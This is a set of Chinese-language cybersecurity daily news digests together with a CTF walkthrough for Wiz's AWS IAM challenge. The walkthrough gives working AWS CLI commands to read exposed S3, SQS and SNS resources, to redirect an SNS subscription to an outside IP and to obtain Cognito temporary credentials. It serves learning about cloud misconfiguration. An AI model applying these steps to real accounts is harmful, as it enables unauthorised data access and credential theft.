网络安全日报 2023年07月04日
1、研究人员发现恶意软件RUSTBUCKET的新变种 https://www.elastic.co/cn/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket 近期,研究人员发现了恶意软件RUSTBUCKET的新变种。RUSTBUCKET是一种针对macOS系统的恶意软件家族,该新变种增加了曾经未观察到的持久化功能,这反映了该恶意软件仍处于开发阶段,并且该变种在VirusTotal平台中未被任何引擎检测到。RUSTBUCKET新变种通过在“/Users//Library/LaunchAgents/com.apple.systemupdate.plist”路径中添加一个plist 2、攻击者利用DNS TXT记录传播恶意软件 https://asec.ahnlab.com/en/54916/ DNS TXT记录是一种功能,允许域管理员将文本输入到DNS中,最初被用于记录人类可读的注释,现在则用于显示保存在DNS中的各类信息,例如垃圾邮件防护、域所有权验证等。在近期的一封网络钓鱼邮件中,研究人员发现其附件中的PPAM文件中存在一段宏代码,执行一个PowerShell命令以运行nslookup工具查询DNS TXT记录。攻击者在其DNS TXT命令中上传了各种命令,当DNS TXT记录被查询时这些命令将得到执行,从而达到传播恶意软件的目的。 3、Nessus插件存在权限提升漏洞 https://cybersecuritynews.com/nessus-plugin-flaw/ Tenable开发的Nessus是一款流行的漏洞扫描工具。近期,安全研究人员发现该工具的一个插件中存在权限提升漏洞,攻击者可以在文件系统中的特定位置放置二进制文件,以滥用插件提升权限,此漏洞的CVSS评分为6.3。Tenable已针对该漏洞发布安全补丁,并且Java检测和识别插件已进行更新,以防止此权限提升漏洞被攻击者利用。 4、谷歌浏览器发布114版本修复多个安全漏洞 https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_26.html 谷歌浏览器发布了适用于Windows系统的114.0.5798.198/199版本以及适用于Mac和Linux系统的114.0.5735.198版本更新,该更新修复了多个安全漏洞。这些安全漏洞被标记为CVE-2023-3420、CVE-2023-3421、CVE-2023-3422。谷歌建议用户尽快将浏览器更新到最新版本,并表示关于这些安全漏洞的详细信息在大多数用户进行更新前将受到限制。 5、美敦力Paceart Optima系统存在严重的RCE漏洞 https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html Paceart Optima是一款在Windows服务器上运行的应用程序,该程序从心脏监控设备中收集、存储和检索数据,以帮助实现标准的工作流程。美敦力在Paceart Optime系统中的可选消息传递功能中发现了一个漏洞,若医疗服务机构在该系统中启动该服务,则未经授权的攻击者可以利用此漏洞执行远程代码执行或发起拒绝服务攻击,从而导致数据被窃取、删除或篡改,并可能进行进一步的网络攻击。该漏洞存在于Pa 6、研究人员称MOVEit漏洞导致超过1600万人的信息泄露 https://therecord.media/data-of-sixteen-million-exposed-moveit 安全研究人员称,迄今为止,已有1600多万人的信息被黑客利用MOVEit软件中的漏洞进行访问,而这一数字可能只是其中的一小部分。自今年6月1日以来,安全专家就该漏洞发出警告,自此之后美国和欧洲的数十家大型组织机构透露他们受到了该漏洞的影响。一名持续跟踪此次事件的研究人员表示,目前已确认的受害组织机构至少有158个,其中只有11个组织透露了受此次漏洞影响的人数,受影响的总人数可能远多于目前所知人数。 7、Activate Healthcare证实其患者的数据信息遭到泄露 https://www.jdsupra.com/legalnews/activate-healthcare-notifies-patients-7697622/ Activate Healthcare是一家总部位于美国伊利诺伊州的医疗保健供应商,该公司近期证实未经授权的攻击者在2023年4月22日及28日访问其计算机系统,并证实攻击者从计算机系统中窃取了一些文件,其中包含患者的信息。被窃取的患者信息可能包括姓名、社会保险号码、出生日期、地址、驾照号码和临床信息等,该公司已向受到此次数据泄露影响的患者发出了通知。 8、研究人员发现一种绕过语音身份认证的方法 https://uwaterloo.ca/news/media/how-secure-are-voice-authentication-systems-really 安全研究人员发现了一种攻击方法,该方法可以成功绕过语音身份认证,只需6次尝试便可达到99%的成功率。该团队识别了deepfake音频中的由计算机生成的标记,并开发了一个程序删除这些标记,从而无法对其生成的音频和真实音频进行区分。在最近针对Amazon Connect语音认证系统的测试中,他们在一次4秒的攻击中取得了10%的成功率,而在不到30秒的时间内,成功率达到40%以上。针对一些不太复杂的语音认证系统,他们在进行6次尝试后便 9、基于Flutter的安卓恶意软件,瞄准东亚市场 https://thehackernews.com/2023/06/fluhorse-flutter-based-android-malware.html Fortinet FortiGuard实验室研究员Axelle Apvrille在上周发表的一份报告中说,这种恶意软件的出现代表了一种重大转变,因为它直接将恶意组件纳入Flutter代码中。 10、Pornhub被指控在欧洲非法收集数据 https://cybernews.com/privacy/pornhub-accused-of-illegal-data-collection-in-europe/ 意大利已对Pornhub提起诉讼,指控该平台收集并与未知第三方共享有关用户性偏好的信息。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月03日
1、20万个WordPress网站遭利用“Ultimate Member”插件漏洞的攻击 https://www.securityweek.com/200000-wordpress-sites-exposed-to-attacks-exploiting-flaw-in-ultimate-member-plugin/ 攻击者利用 Ultimate Member 插件中的关键漏洞在 WordPress 网站上创建管理帐户。 2、MITRE 更新了 CWE 25 个最危险的软件漏洞 https://www.securityweek.com/mitre-updates-cwe-top-25-most-dangerous-software-weaknesses/ 在 2023 年 CWE Top 25 列表中,释放后使用漏洞和操作系统命令注入漏洞位列前 5 位最危险的软件漏洞。 3、LockBit 勒索组织声称攻击了台积电,并索要 7000 万美元赎金 https://www.securityweek.com/tsmc-says-supplier-hacked-after-ransomware-group-claims-attack-on-chip-giant/ LockBit 勒索软件组织声称对台积电 (TSMC) 进行了黑客攻击,但这家芯片巨头表示,只有其一家供应商遭到入侵。 4、Avast 发布了针对 Windows 版本 Akira 勒索软件的免费解密器 https://securityaffairs.com/148007/cyber-crime/akira-ransomware-decryptor.html Avast 发布了 Akira 勒索软件的免费解密器,可以让受害者无需支付赎金即可恢复数据。 5、伊朗MuddyWater组织使用新型C2框架PhonyC2进行网络攻击 https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater 伊朗政府支持的网络间谍组织MuddyWater(又称Mango Sandstorm或Mercury)自2021年起使用了一个名为PhonyC2的新型命令与控制(C2)框架,用于对目标进行渗透和数据窃取。该框架是用Python 3编写的,与MuddyWater之前使用的MuddyC3框架2有很多相似之处,但也有一些改进和更新。PhonyC2框架可以动态生成PowerShell后门, 6、俄罗斯黑客组织通过付费招募志愿者发动DDoS攻击 https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/ DoSia是一个由支持俄罗斯的黑客组织NoName057(16)发起的众包项目,旨在通过付费招募志愿者,对西方目标进行分布式拒绝服务(DDoS)攻击。 7、SAP披露多个严重漏洞,包括可自动传播的利用链 https://sec-consult.com/blog/detail/responsible-disclosure-of-an-exploit-chain-targeting-the-rfc-interface-implementation-in-sap-application-server-for-abap/ SAP是一家提供企业软件解决方案的公司,其产品广泛应用于各行各业。近日,SAP公布了多个影响其产品的严重漏洞,其中最引人关注的是一条可自动传播的利用链,涉及四个漏洞。这条利用链可以让攻击者在没有任何身份验证的情况下,远程执行任意代码,并在SAP系统之间进行横向移动。 8、npm生态系统存在巨大漏洞,可能导致代码执行和数据泄露 https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem npm是一个流行的JavaScript包管理器,用于安装和管理开发者所需的各种模块和依赖。然而,近日,一位前npm CLI团队的工程师发现了一个影响npm生态系统的巨大漏洞,可能导致任意代码执行和数据泄露。这个漏洞的根源在于npm处理包清单(package.json)文件的方式。包清单文件是一个描述包属性和依赖的JSON文件,通常包含一些元数据,例如包名、版本、作者、许可证等。然而,npm允许包清单文件中包含任意字段,而不进行任何验证或过滤。这就导致了一个安全问题,即 9、攻击者通过恶意广告传播BlackCat勒索软件 https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html 近期,安全研究人员发现攻击者伪造WinSCP的网页传播多种恶意软件,WinSCP是一个用于进行文件传输的开源Windows应用程序。此次攻击活动传播的恶意软件中包括BlackCat勒索软件,并且攻击者传播SpyBoy恶意软件以终止用户电脑中运行的反病毒安全产品。除此之外,攻击者还使用PuTTY传输收集的数据以达到数据泄露的目的。 10、研究人员发现活跃的代理劫持攻击活动 https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle 研究人员发现了一个针对易受攻击的SSH服务器的代理劫持活动,通过代理劫持,攻击者不仅可以窃取资源,还能够利用受害者未使用的宽带以换取经济利益。此次攻击活动利用受感染的Web服务器传播必要的依赖项,检查受害服务器中是否存在竞品并进行终止,采用混淆技术以规避安全产品的检测。研究人员称,代理劫持已成为网络攻击者利用受感染设备获取经济利益的一种新的方式。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月30日
1、Arcserve UDP存在身份验证绕过漏洞利用代码公开 https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe Arcserve UDP是一种用于数据备份和恢复的软件,它支持多种平台和设备。近日,安全研究人员发现了Arcserve UDP的一个严重漏洞,编号为CVE-2023-26258,该漏洞允许攻击者绕过身份验证,执行任意命令,甚至完全控制受影响的系统。该漏洞影响了Arcserve UDP 7.0.0.0版本及以下,目前还没有官方的补丁或解决方案。安全研究人员已经在GitHub上公开了该漏洞的利用代码,提醒用户尽快升级或禁用Arcserve UDP服务,以防止被黑客攻击。 2、Microsoft Sysmon新增文件创建事件检测功能 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-when-executables-files-are-created/ Microsoft Sysmon是一种Windows系统服务和设备驱动程序,它可以在系统重启后持续监控和记录系统活动到Windows事件日志中。它可以提供关于进程创建、网络连接、文件创建时间变化等方面的详细信息。最近,Microsoft Sysmon发布了14.14版本,新增了一个文件创建事件检测功能,该功能可以记录当一个文件被创建或覆盖时的相关信息,如文件名、路径、大 3、8Base勒索软件攻击美国和巴西企业 https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html 8Base是一种勒索软件组织,自2022年3月以来一直活跃,但在2023年6月出现了大幅的活动增长。8Base的攻击目标涵盖了多个行业,如商业服务、金融、制造和信息技术等。这个组织在其暗网泄露站上提供了受害者的详细信息,以及多种联系方式,包括Telegram频道和Twitter账号。8Base自称是“简单的渗透测试人员”,并使用“.8base”作为加密文件的扩展名。研究人员对8Base的勒索软件进行了分析,发现了一些有趣 4、手机监控应用 LetMeSpy 披露数据泄露事件 https://securityaffairs.com/147968/data-breach/letmespy-disclosed-security-breach.html 手机监控应用程序 LetMeSpy 披露了一个安全漏洞,威胁行为者窃取了与数千名 Android 用户相关的敏感数据,包括消息、位置、通话记录、电子邮件地址和电话号码。 5、美国专利商标局通知申请人长达数年的数据泄露 https://techcrunch.com/2023/06/28/uspto-trademark-data-api-leak/ 美国专利商标局 (USPTO) 在发给受影响商标申请人的通知中表示,他们的私人住所地址(通常是家庭住址)在 2020 年 2 月至 2023 年 3 月期间无意中出现在公共记录中。 6、WordPress 社交登录插件中的严重安全漏洞暴露了用户帐户 https://thehackernews.com/2023/06/critical-security-flaw-in-social-login.html miniOrange 的WordPress社交登录和注册插件中披露了一个严重的安全漏洞,该漏洞可能使恶意行为者能够在用户提供的任何有关电子邮件地址的信息已知的情况下进行登录。该身份验证绕过缺陷被追踪为 CVE-2023-2982(CVSS 评分:9.8),影响所有版本,包括 7.6.4 及之前的版本。该问题已于 2023 年 6 月 14 日得到解决,并于 2023 年 6 月 2 日负责任地披露后发布了 7.6.5 版本。 7、研究人员发现越流行的大语言模型越不安全 https://www.secrss.com/articles/56106 安全研究人员用OpenSSF记分卡对GitHub上50个最流行的生成式AI大语言模型项目的安全性进行了评估,结果发现越流行的大语言模型越危险。 8、新发现的基于 Windows 的恶意软件ThirdEye窃取敏感数据 https://thehackernews.com/2023/06/newly-uncovered-thirdeye-windows-based.html 一种名为ThirdEye的先前未记录的基于 Windows 的信息窃取程序已在野外被发现,具有从受感染主机获取敏感数据的能力。 9、报告称海底电缆遭受网络攻击的风险日益增加 https://www.infosecurity-magazine.com/news/submarine-cables-risk-cyber-attacks/ 一份新报告发现,海底通信电缆日益成为网络威胁行为者的目标,其事件可能会造成全球互联网的巨大破坏。 10、Linux 版本的 Akira 勒索软件针对 VMware ESXi 服务器 https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers Akira 勒索软件操作使用 Linux 加密器对 VMware ESXi 虚拟机进行加密,对全球各地的公司进行双重勒索攻击。Akira 首次 出现于 2023 年 3 月,针对各个行业的 Windows 系统,包括教育、金融、房地产、制造和咨询。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
网络安全日报 2023年06月29日
1、Akira勒索软件开始针对Linux平台发起攻击 https://blog.cyble.com/2023/06/28/akira-ransomware-extends-reach-to-linux-platform/ Akira是一种新型的勒索软件,自2023年4月出现以来,已经攻击了多个行业的数十个组织,窃取和加密了他们的敏感数据。如果受害者不支付赎金,攻击者就会威胁在暗网上出售或泄露数据。值得注意的是,Akira勒索软件已经扩展了其攻击范围,包括了Linux平台。研究人员发现了一个复杂的Linux版本的Akira勒索软件。这个恶意的Linux可执行文件是一个64位的Linux Executable and Linkable Format 2、西门子能源在MOVEit数据窃取攻击后确认数据泄露 https://www.bleepingcomputer.com/news/security/siemens-energy-confirms-data-breach-after-moveit-data-theft-attack/ 西门子能源已经确认,在最近的Clop勒索软件数据窃取攻击中,使用了MOVEit Transfer平台的一个零日漏洞,导致数据被盗。Clop在其数据泄露网站上列出了西门子能源,表明该公司的数据在一次入侵中被窃取。虽然目前还没有数据被泄露,但西门子能源的一位发言人证实,他们是最近利用MOVEit Transfer零日漏洞(追踪为CVE-2023-34362)进行的Clo 3、大众汽车车载娱乐系统曝安全漏洞,可被远程控制 https://www.freebuf.com/news/370513.html 根据GitHub的一份报告,大众汽车Discover Media信息娱乐系统的漏洞是在2023年2月28日发现的。该漏洞可能会使未打补丁的系统遭到拒绝服务(DoS)攻击。该漏洞起初是由大众汽车的用户发现的,随后大众汽车方面确认了该漏洞,漏洞的标识为CVE-2023-34733。 4、Windows 11 将为 Windows Hello 提供内置密钥管理器 https://www.bleepingcomputer.com/news/microsoft/windows-11-is-getting-a-built-in-passkey-manager-for-windows-hello/ Microsoft 正在扩大对 Windows 11 中的密钥的支持,以便使用生物识别身份验证更安全地登录网站和应用程序。 5、为防止泄密,美国国会明确要求职员仅可使用付费版 ChatGPT https://www.ithome.com/0/702/257.htm 据外媒 Axios 报道,美国众议院正对国会办公室提出一项新的要求:各办公室仅允许使用付费版的 ChatGPT Plus。 6、腾讯 QQ/TIM 存在本地提权漏洞,可通过QQProtect进程无感提权 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34312 在Tencent QQ 9.7.8.29039 版本和TIM 3.4.7.22084 版本中,QQProtect.exe 和QQProtectEngine.dll 不验证进程间通信的指针,这会导致write-what-where 情况。 7、数十家企业最近受到“8Base”勒索软件团伙的攻击 https://www.securityweek.com/dozens-of-businesses-hit-recently-by-8base-ransomware-gang/ 过去一个月,8Base 勒索软件团伙袭击了大约 30 家小型企业,自 2022 年 3 月以来,受害者总数约为 80 人。 8、Gentoo Soko 中的SQL 注入漏洞可能导致远程代码执行 https://securityaffairs.com/147911/hacking/gentoo-soko-sqli.html SonarSource 研究人员在 Gentoo Soko 中发现了两个 SQL 注入漏洞,统称为 CVE-2023-28424(CVSS 评分:9.1),远程攻击者可利用这些漏洞在易受攻击的系统上执行任意代码。 9、CryptosLabs 诈骗团伙针对法语投资者,已骗取 4.8 亿欧元 https://thehackernews.com/2023/06/cryptoslabs-scam-ring-targets-french.html 网络安全研究人员揭露了一个名为CryptosLabs的诈骗团伙的运作方式,自 2018 年 4 月以来,该团伙针对法国、比利时和卢森堡的法语用户,估计已赚取 4.8 亿欧元的非法利润。Group-IB在一份深度报告中https://www.group-ib.com/blog/cryptoslabs-investment-scams/,该集团的大规模虚假投资计划主要涉及冒充 40 家知名银行、金融科技公司、资产管理公司和加密平台,建立涵盖 35 10、电磁故障注入 (EMFI) 攻击可实现任意代码执行并接管无人机 https://securityaffairs.com/147929/hacking/electromagnetic-fault-injection-attacks-drones.html 对无人机的电磁故障注入 (EMFI) 攻击可能会让攻击者实现任意代码执行并接管无人机。IOActive 的研究人员分析了如何开发针对强化无人机 (UAV) 的故障注入攻击。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Sudo堆溢出漏洞(CVE-2021-3156)复现
